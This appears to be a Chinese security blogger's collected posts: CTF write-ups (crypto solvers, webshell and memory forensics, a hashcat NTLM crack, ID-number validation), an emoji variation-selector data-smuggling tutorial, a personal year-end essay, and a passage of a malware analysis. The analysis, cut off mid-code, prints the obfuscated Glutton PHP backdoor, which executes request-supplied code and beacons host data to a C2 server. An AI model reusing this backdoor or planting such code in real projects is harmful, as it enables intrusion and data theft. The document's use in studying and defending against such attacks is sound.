2025年某交通国企内部网络安全比武 部分WriteUp

想喝🍋芭乐气泡果汁了捏 🍹~( ̄▽ ̄)

CRYPTO

part1:很明显的SM4算法

import binascii
from gmssl import sm4

def sm4_decode(key, data):
    sm4Alg = sm4.CryptSM4()  # Initialize SM4
    sm4Alg.set_key(key.encode(), sm4.SM4_DECRYPT)  # Set decryption key

    # Decrypt (ECB mode, no padding)
    ciphertext = binascii.unhexlify(data)  # Hex → bytes
    plaintext = sm4Alg.crypt_ecb(ciphertext)  # Decrypt

    # Return hex string
    return plaintext.hex()

def test():
    key = 'E1A90FB64DDE12AE'
    enHexRes = "06d7e65a973111b8a64c72150a27f61e"
    decrypted = sm4_decode(key, enHexRes)
    print("Decrypted (hex):", decrypted)

test()

然后解密hex即可得到第一部分

part2:明文 M​ 的构造方式泄露了私钥 p​ 的信息

from Crypto.Util.number import *
import gmpy2

c = int('1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df', 16)
n = int('c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069', 16)
e = int('10001', 16)

p = gmpy2.gcd(c, n)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

M = pow(c, d, n)

k = 2022 * 1011
m = M // (k * p)

print("Recovered m:", m)
print("Flag:", long_to_bytes(m).decode())

解密得到part2

WEB

攻击分析-1

打开日志很明显是目录扫描日志:

asynccode

攻击分析-2

asynccode

发现shell:img_5780.php

asynccode

往前翻阅日志,搜索img_5780.php

发现前一个POST为index.php

asynccode

flag{/upload/index.php&/upload/images/img_5780.php}

攻击分析-3

继续翻日志:

asynccode

asynccode

FORENSICS

WEBSHELL

冰蝎4.0流量,密钥可以搜索到04dac8afe0ca5015

asynccode

asynccode

asynccode

asynccode

Mem

使用lovelymem打开

asynccode

打开net.csv 查看相关net情况 发现存在异常端口

asynccode

即为10.112.77.140 8899

Ntlm

给出pass.txt 使用hashcat进行爆破 使用pass.txt为字典

hashcat -m 1000 "b31c6aa5660d6e87ee046b1bb5d0ff79" pass.txt

asynccode

PPC

数据泄露

提供的数据文件说明

  • 网站内存储文件:公民信息(user.csv)
  姓名,  住宅电话,       身份证,       年龄,   家庭住址,            性别
杨兰英, 15797298182 ,520330194910209167,75,贵州省遵义市习水县农贸巷999号,女
  • 说明:以上是一个公民信息(user.csv)中的内容格式,其中包含姓名、住宅电话、身份证、年龄、家庭住址、性别等。
  • 辅助信息资源
  • 省市对照表(省市对照.xlsx) :包含各省及其对应的下属城市信息,可用于识别或还原可能涉及的地理区域。
  • 身份证地区编号对照表(地区编号对照.csv) :包含身份证前6位与地区对应关系,用于还原公民身份中涉及的地区信息。

身份证规则说明

身份证号(idcard)

身份证号的⻓度为 18 位,分别是六位数字地址码、八位数字出生日期码、三位数字顺序码和最后一位数字校验码。

前1-6位:地址码

  • 第1-2位:省(自治区、直辖市)代码
  • 第3-4位:地级市(盟、自治州)代码
  • 第5-6位:县(市、区、旗)代码
  • 例如,地址码“110101”表示北京市东城区。

第7-14位:出生日期码

  • 采用“YYYYMMDD”格式,分别表示出生的年份、月份和日期。
  • 例如,“19900101”表示1990年1月1日出生,年龄计算以 2024年11月30日为基准,超过该日期也截止计算。
  • 其年龄计算规则如下:

    例:520330194910209167为1949年10月20日出生。

    1949年10月20日到2024年10月20日是75年,已度过生日,所以年龄为75岁。

    例:110101199312214859为1993年12月21日出生。

    1993年12月21日到2024年12月21日是31年,年龄计算基准以2024年11月30日截止计算,未度过生日,所以年龄为30岁。

第15-17位:顺序码

  • 在同一地址码区域内,同年同月同日出生的人区分顺序的编号。
  • 第17位:性别标识码,奇数表示男性,偶数表示女性。
  • 例如:顺序码“001”表示该区域内第1个出生者,且为男性。

第18位:校验码

  1. 将身份证号码前17位数字分别乘以不同的系数。从第一位到第十七位的系数分别是: 7-9-10-5-8-4-2-1-6-3-7-9-10-5-8-4-2。
  2. 将这 17 位数字和系数相乘的结果相加。
  3. 用加出来的和除以11,得到余数。
  4. 余数对应规则:
  5. 例如:身份证前17位为11010119931221485​,系数相乘的结果相加为:

1*7+1*9+0*10+1*5+0*8+1*4+1*2+9*1+9*6+3*3+1*7+2*9+2*10+1*5+4*8+8*4+5*2=223,223mod11=3​,根据(04)中的对照规则,其最后一位应为 9。

作答要求:

请根据给定的公民信息文件结合辅助信息资源校验身份证信息,匹配出正确的身份证号,并按照身份证号中的出生年月日进行排序(按照年龄从大到小进行排序)。(提交格式:flag{身份证1_身份证2_身份证3}​,举例:flag{110101198012078336_110101199312214859_110101200703169552}​)

正确示例:

蔡桂花,18767876787,110101199312214859,30,北京市东城区大马路123号,男
  • 说明:身份证地址为110101开头,即北京市东城区,符合身份证家庭住址地区(北京市东城区),此人为1993年12月21日出生,未度过生日,今年30岁,并且身份证性别为男和给定的公民信息文件对应

错误示例:

蔡桂花,18767876787,110101198011078326,56,四川省德阳市旌阳区大马路123号,男
  • 说明:身份证地址为110101开头,即北京市东城区,不符合身份证家庭住址地区(四川省德阳市旌阳区),此人为1980年11月7日出生,已度过生日,今年44岁,并且身份证性别为女和给定的公民信息文件对应不上,校验码也错误
import pandas as pd
import re
from datetime import datetime

# 加载数据
user_df = pd.read_csv('user.csv')
region_df = pd.read_csv('地区编号对照.csv', header=None, names=['地址编号', '地址'])
province_city_df = pd.read_excel('省市对照.xlsx')

# 预处理地区编号数据
region_df[['省', '市', '县']] = region_df['地址'].str.extract(r'(.+省)(.+市)(.+)', expand=True)
region_df['省'] = region_df['省'].str.replace('省', '')
region_df['市'] = region_df['市'].str.replace('市', '')

# 身份证校验系数
WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
CHECK_CODES = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

# 基准日期
REF_DATE = datetime(2024, 11, 30)

def validate_idcard(row):
    try:
        # 提取信息
        idcard = str(row['身份证']).strip()
        age = row['年龄']
        address = row['家庭住址']
        gender = row['性别']

        # 基本格式检查
        if len(idcard) != 18 or not idcard[:17].isdigit():
            return False

        # 1. 地址码验证
        region_code = idcard[:6]
        region_info = region_df[region_df['地址编号'] == region_code]
        if region_info.empty:
            return False

        # 检查地址是否匹配
        province = region_info.iloc[0]['省']
        city = region_info.iloc[0]['市']

        if province not in address or city not in address:
            return False

        # 2. 出生日期验证
        birth_date_str = idcard[6:14]
        try:
            birth_date = datetime.strptime(birth_date_str, '%Y%m%d')
        except:
            return False

        # 计算年龄
        age_diff = REF_DATE.year - birth_date.year
        if (REF_DATE.month, REF_DATE.day) < (birth_date.month, birth_date.day):
            age_diff -= 1

        if age_diff != age:
            return False

        # 3. 性别验证
        gender_code = int(idcard[16])
        if (gender == '男' and gender_code % 2 == 0) or (gender == '女' and gender_code % 2 == 1):
            return False

        # 4. 校验码验证
        total = sum(int(a) * b for a, b in zip(idcard[:17], WEIGHTS))
        check_code = CHECK_CODES[total % 11]
        if idcard[17].upper() != check_code:
            return False

        return True
    except Exception as e:
        print(f"验证过程中出错: {e}")
        return False

# 筛选有效身份证
valid_ids = user_df[user_df.apply(validate_idcard, axis=1)]['身份证'].tolist()

# 按出生日期排序
def get_birth_date(idcard):
    return idcard[6:14]

valid_ids_sorted = sorted(valid_ids, key=get_birth_date)

# 格式化输出
result = '_'.join(valid_ids_sorted)
print(f'flag{{{result}}}')

PENTEST

APK

asynccode

ezphp

PHP特性

asynccode

OSINT

纯理论

2025能源网络安全大赛 | 发⚡组 Misc 部分writeup

为❤发⚡

alarm_clock

给了vmdk,取证一下恢复一个wav和一个压缩包

image

image

很明显是SSTV,

7b01c5563befbcf1f7f3248865339e4

解压后发现是

image

按照所给hint,按照时钟进行画图:

import matplotlib.pyplot as plt
import numpy as np

direction_map = {
    0: (0, 1),   
    1: (0.5, 0.5),  
    2: (1, 0.25),  
    3: (1, 0),  
    4: (0.5, -0.5),  
    5: (0.25, -1),   
    6: (0, -1),  
    7: (-0.5, -0.5), 
    8: (-1, -0.25),  
    9: (-1, 0),  
    10: (-0.5, 0.5), 
    11: (-0.25, 1)   
}

paths = [
    [3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5],
    ......
]

fig, ax = plt.subplots(figsize=(12, 8))
colors = plt.cm.tab10(np.linspace(0, 1, len(paths)))

for i, path in enumerate(paths):
    x, y = [0], [0]
    for d in path:
        dx, dy = direction_map[d]
        x.append(x[-1] + dx)
        y.append(y[-1] + dy)
    x = np.array(x) + i * 5
    y = np.array(y)
    ax.plot(x, y, color=colors[i], linewidth=2, label=f'Path {i+1}')

ax.set_aspect('equal')
ax.axis('off')
plt.title("Clock Direction Paths (Simplified)", fontsize=14)
plt.legend(loc='upper right', fontsize=8)
plt.tight_layout()
plt.show()

image

Bluetooth

观察流量包,发现是考L2CAP层协议解析,

image

提取一下Bluetooth L2CAP Payload

tshark -r Bluetooth.pcapng  -e "btl2cap.payload" -T fields > result.txt

image

发现result中长度34位里的数据只有后三位不一样,提取出来


def extract_third_last(filename):
    with open(filename, 'r', encoding='utf-8') as f:
        lines = f.readlines()

    result = []

    for line in lines:
        line = line.strip()
        if len(line) == 36:
            result.append(line[-3])

    return result

if __name__ == "__main__":
    filename = 'result.txt'
    chars = extract_third_last(filename)
    for ch in chars:
        print(ch)

image

发现只有 01248,0作为分隔符号,所以我们需要将0​批量替换为空然后利用正则:1 1 1​与1 1​是1,2 2 2​与 2 2​是2,4 4 4​与4 4​ 是4 ,8 8 8​与8 8​是8

import re

text = """
2 2 2    4 4 4    2 2 2    4 4 4
"""

result = re.sub(r'(\d)(?:\s\1){1,2}', r'\1', text)

print(result.strip())

转变为4进制,1替换成0,2替换成1,4替换成2,8替换成3

121212301201121313230......

按两位一组组合为四进制数,转换为十进制字符:

text = "121212301201121313230......"

# 每两个字符一组
pairs = [text[i:i+2] for i in range(0, len(text), 2)]

# 将每组视为4进制并转为10进制
decimal_values = [int(pair, 4) for pair in pairs]

print(decimal_values)
# [6, 6, 6, 12, 6, 1, 6, 7, 7, 11, ......]
def convert_numbers_to_custom_encoding(numbers):
    result = []
    for num in numbers:
        if 0 <= num <= 9:
            result.append(str(num))
        elif 10 <= num <= 15:
            result.append(chr(num - 10 + ord('A')))
        else:
            result.append('?')  # 这里用 '?' 表示无效数字
    return ''.join(result)

numbers = [6, 6, 6, 12, 6, 1, 6, 7, 7, 11, ......]

encoded_str = convert_numbers_to_custom_encoding(numbers)
print(encoded_str)
# 666C61677B......

image

Smuggling arbitrary data through an emoji | 通过emoji走私任意数据

https://paulbutler.org/2025/smuggling-arbitrary-data-through-an-emoji/

写了个python版本,感觉有人是会拿来比赛出题的。

Unicode 码点

Unicode 是计算机科学领域的一项业界标准,包括字符集和编码方案。它为每种语言中的每个字符设定了统一且唯一的二进制编码,通常用两个字节表示一个字符。Unicode 码点(Code Point)是指 Unicode 字符在 Unicode 字符集中的唯一编号。

Unicode 编码格式

Unicode 编码格式有多种,其中最常见的是 UTF-8UTF-16。UTF-8 是一种可变长度的编码方式,根据字符的不同范围使用不同长度的编码。例如:

  • 000000-00007F: 0xxxxxxx
  • 000080-0007FF: 110xxxxx 10xxxxxx
  • 000800-00FFFF: 1110xxxx 10xxxxxx 10xxxxxx
  • 010000-10FFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Unicode 定义了 256 个代码点作为“变体选择器”,从 VS-1 到 VS-256。这些变体选择器本身没有可见的显示效果,但用于修改前一个字符的显示方式。例如,代码点 U+0067​(字符g​)后跟 U+FE01​(VS-2)仍然显示为小写g​,与单独的g​相同。但如果复制并粘贴该字符,变体选择器也会随之携带。

由于 256 足以表示一个字节,这为我们提供了一种在任何其他 unicode 代码点中“隐藏”一个字节数据的方法。

变体选择器

按照Paul Butler的思路,假设要编码字符串 "hello",其 ASCII 码为 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​。可以将每个字节映射到一个变体选择器,然后将这些变体选择器附加到一个基字符(如空格或emoji)后面。例如,使用emoji符作为基字符,编码后的字符串可能看起来像一个普通的表情符号,但实际上包含了隐藏的数据。

变体选择器的代码点被分为两段:最初的 16 个在 U+FE00​ 到 U+FE0F​ 之间,其余的 240 个在 U+E0100​ 到 U+E01EF​ 之间。

要从字节转换为变体选择器,我们可以执行类似以下 Rust 代码的操作:

fn byte_to_variation_selector(byte: u8) -> char {
    if byte < 16 {
        char::from_u32(0xFE00 + byte as u32).unwrap()
    } else {
        char::from_u32(0xE0100 + (byte - 16) as u32).unwrap()
    }
}

然后,要编码一系列字节,我们可以在一个基础字符后面连接多个这样的变体选择器:

fn encode(base: char, bytes: &[u8]) -> String {
    let mut result = String::new();
    result.push(base);
    for byte in bytes {
        result.push(byte_to_variation_selector(*byte));
    }
    result
}

为了编码字节 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​,我们可以运行以下代码:

fn main() {
    println!("{}", encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]));
}

输出就是:

😊󠅘󠅕󠅜󠅜󠅟

解码

fn variation_selector_to_byte(variation_selector: char) -> Option<u8> {
    let variation_selector = variation_selector as u32;
    if (0xFE00..=0xFE0F).contains(&variation_selector) {
        Some((variation_selector - 0xFE00) as u8)
    } else if (0xE0100..=0xE01EF).contains(&variation_selector) {
        Some((variation_selector - 0xE0100 + 16) as u8)
    } else {
        None
    }
}

fn decode(variation_selectors: &str) -> Vec<u8> {
    let mut result = Vec::new();

    for variation_selector in variation_selectors.chars() {
        if let Some(byte) = variation_selector_to_byte(variation_selector) {
            result.push(byte);
        } else if !result.is_empty() {
            return result;
        }
        // note: we ignore non-variation selectors until we have
        // encountered the first one, as a way of skipping the "base
        // character".
    }

    result
}

使用示例如下:

use std::str::from_utf8;

fn main() {
    let result = encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]);
    println!("{:?}", from_utf8(&decode(&result)).unwrap()); // "hello"
}

基字符(如空格或表情符号)不需要一定是emoji符号,任何 Unicode 字符都可以作为基字符。

image

python示例

encode

将字节(0-255​)转换为对应的变体选择器字符,判断字节大小并选择对应的变体选择器范围。将基字符和字节数组进行组合,依次生成编码后的字符串。

def byte_to_variation_selector(byte: int) -> str:
    """Converts a byte to a variation selector character."""
    if byte < 16:
        return chr(0xFE00 + byte)
    else:
        return chr(0xE0100 + (byte - 16))

def encode(base: str, bytes: list) -> str:
    """Encodes a base character with a list of bytes as variation selectors."""
    result = [base]
    for byte in bytes:
        result.append(byte_to_variation_selector(byte))
    return ''.join(result)

if __name__ == "__main__":
    base = ' '
    byte_sequence = [0x41, 0x6e, 0x64, 0x79, 0x4e, 0x6f, 0x65, 0x6c]
    encoded_str = encode(base, byte_sequence)
    print(encoded_str)

decode

解密思路就是将每个变体选择器字符映射回其对应的字节值,然后,编写一个函数,遍历输入字符串,提取所有有效的变体选择器字符,并将其转换为字节值。

def variation_selector_to_byte(variation_selector: str) -> int:
    code_point = ord(variation_selector)
    if 0xFE00 <= code_point <= 0xFE0F:
        return code_point - 0xFE00
    elif 0xE0100 <= code_point <= 0xE01EF:
        return code_point - 0xE0100 + 16
    else:
        raise ValueError(f"无效的变体选择器字符:{variation_selector}")
def decode(variation_selectors: str) -> bytes:
    result = bytearray()
    for char in variation_selectors:
        try:
            byte = variation_selector_to_byte(char)
            result.append(byte)
        except ValueError:
            if result:
                break
    return bytes(result)
encoded_str = ' 󠄱󠅞󠅔󠅩󠄾󠅟󠅕󠅜'
decoded_bytes = decode(encoded_str)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str) 

Annual Summary of 2024 | To be Better.

2024年12月24日22:00 | 平安夜🎄,这就到年底了,每天的日程还是挺满的,所以自己大概率是没办法抽出很多时间去一次性完成年终总结,于是打算提前几天动手,利用每晚的休息时间写一点,积少成多嘛。

前言

2024对我来说注定是不平凡的一年,一篇长达四年的大学青春小说在我的笔下迎来了属于它的结局。这篇小说虽然没有波澜壮阔的开场,但是有惊喜,也有遗憾,我自认为自己是一个念旧甚至到有点执着的人,每每翻过它时都不禁一叹:此去经年......大半个中国的游历;四年严苛的警务化管理;紧张的公安联考;一场轰轰烈烈却缘分未到的恋爱;感慨万千的毕业典礼;荣幸受邀参与了几场省部级、国家级安全比赛以及部门比武的出题、赛事支持工作;以及一场关于人生的豪赌。

做了什么?

b73037a5f259a395cf20b3f8528a65c

今年无疑是高产的一年,加上外出参赛、旅游、出差,轨迹地图又有了新成员,向南最远来到了福建福州,向西来到了陕西西安,而向北最远是内蒙古呼和浩特,除此之外,北京、天津、杭州、上海、南京、济南、青岛......见识到了不一样的风景

88a97050015b0cb7a0776c942b3f26d5d81a6c61c4e1b1d03d24369a6ab6a2

3b852a4a94987f2b313473628372d10e664954718df134ed4bd939f52f4fe1

46f9a5610e41f16bb4621e9cf6ac794ea9a66c300b7110113e634a0a97fbbc

还有许多祖国的大好河山还没有去探索,尤其是西部地区更是引人神往,所以后期看看有没有机会,弥补这方面的空白。

今年技术文章产量不高,写了20篇,其中在博客上更新了15篇,前期以分享比赛WriteUP为主,中间穿插研究了一些小玩意,比如网易云音乐前端加密算法的分析、手指指纹识别的分析,后期以学习如何分析国外高级持续性威胁组织的样本并详细记录为主,如APT-K-47 Asyncshell Version3 AnalysisAPT-K-47 Asyncshell Version1 AnalysisThe Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍等。

在此,感谢网络安全战队Chamd5 & Mini-VenomCTFIOT平台微步在线社区微步在云沙箱平台奇安信X实验室​、VirusTotal等各大网络安全组织的技术分享与支持,还有为了网络安全事业默默不停奉献的各位,正因为有大家的坚守,这个世界才逐渐变得更加安全与美好。

之前很多师傅好奇我的共同富裕板块进展咋样了?OK,现在我们揭秘一下。感谢各位老板的支持与抬爱,帮助师傅们累计达成合作意向20余次,比较成功。关于收费问题,请大家放心,过去是公益发布,现在以及将来也不会改变。

会有遗憾吗?

6b6369b7a6af00ee1fdf9f31dfc60d6

我持留白态度,硬要讲的话,我只说一句:祝天下有情人终成眷属,即使两人面临暂时的异地也不要害怕,双鸟暂时离分,必有重逢之日。如果真的最终没走到一起,却你们彼此相互努力过,那就没什么值得遗憾的。

01913f501b1a6b0b9c6d4082a4d8699

人生,不过就是一场豪赌。

生活是写好的剧本吗?就像活在一部电影里那样。

2023年11月1日,我记得特别清楚,奋斗了整整一天的蓝帽杯终于落下帷幕(真·黑灯搏杀,绷不住了),在返回学校后也是正式收心,开始了公安联考的学习。很多人问我,我花了大部分时间在网安学习和比赛上,那留给联考准备的时间够吗?我如实告诉大家:确实是非常紧张,每天都会有点焦虑,尤其是在看到周围同学得心应手的样子更是担心自己,先别说拔高了,能不能正常看完基础课都会是问题。但是没办法,自己做的孽就要自己承担。在很早之前我在实习日记里写过这样一句话:“我也想同情你,但我实在是做不到。人总要为自己的行为付出相应的代价。”一年前的子弹正中了我的眉心。那就啥也别说了,玩命看吧,每天都在两点左右回宿舍,有的时候太晚就直接在机房趴在椅子上睡着了。也算是功夫不负有心人,用最后一个月的时间里突击完了要学的基础内容。但是考试大家都懂,如果说学的是1+1=2,考的就是黎曼猜想(?),到底能考咋样对我来说就是运气问题了。

2024年1月,联考终于结束了。现在来看,我的运气还不错,综合来看考的还算理想,在大家成绩里也能算中上游水平,我甚是满意,尤其是申论考了68分更是给了我一个惊喜,我不奢求别的,毕竟蝴蝶飞不过沧海,谁又忍心责怪呢?突击要是能与别人日以继夜的勤勤恳恳相比肩,那就是对别人的不尊重了。

2024年6月,如期选岗,选得好不错,是个好岗位。但没过几天,我迎来了第二此机会,但与其说是机会,倒不如说是赌博,这次要押上的是自己的人生,它远没有联考选岗带来的真实,更像是镜中花、水中月。一边是联考的岗位,另一边是放弃这个现有的铁饭碗去选择一个还没有定局的考试,我觉得有100个人面临同样选择时,还是会选择联考的岗位,人生大事,可马虎不得;但我特立独行惯了,在纠结良久之后,也听遍了家里长辈的劝告之言,还是做出了放弃的决定。

image

声明发过去之后,感觉自己如释重负,甚至是有点飘飘然,有点小帅。

这次,幸运女神再次展现了她的微笑🙂

中间虽几经波折,此处我就一笔带过,总之自己是如愿来到了青岛,并且把自己的爱好变成了职业,不得不说,这是一件幸福的事。

回到上面,生活是写好的剧本吗?最起码在我看来不是的,希望大家亦是如此。

c03ca12fa4162eff2e6376b74b53f26

新的一年

不论是否相识,2025,祝看到这儿的你,天天开心,希望大家都能去奋力追求自己所爱的人和事,也希望我们都能够诚实地对待每一个当下,用每一个当下去触摸永恒,用每一个当下去做你应该做的事情,用每一个当下去爱你身边的人,用每一个当下去传递温暖,尤其在这样一个寒冷的冬天,不辜负每一场热爱与期待。

c6c0b6cfc6913d9a666b548cfe14289

今年我想用这样一句话勉励自己,也与大家共勉:我深知自己是一根廉价的火柴,本就是一棵朽木,没资格谈什么伟大与不朽,燃烧就是我存在的唯一价值(今天不燃烧过两天就返潮了,想烧也烧不着)。

嗷对,差点忘了,SanDieg0 | 圣地亚哥皮蛋-AndyNoel,断开连接......

了吗?

The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃:Glutton木马潜伏主流PHP框架,隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识,从我们的数据来看,受害者主要分布在中美俩地,涉及信息传输,商务服务,社会保障等行业。

image

在我们的溯源过程中,还发现了一个有意思的现象,Glutton的作者专门针对黑灰产的生产系统投毒,意图进行黑吃黑。时间回到2024年7月,我们以"b11st=0;"特征在VirusTotal进行狩猎,先后发现了5个被感染的文件,由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1,2,3是单个PHP文件;编号4,5为压缩包,包含一套完整的业务系统。它们之中最特别的是编号4,它是一套网络诈骗常用的刷单抢单系统,恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && 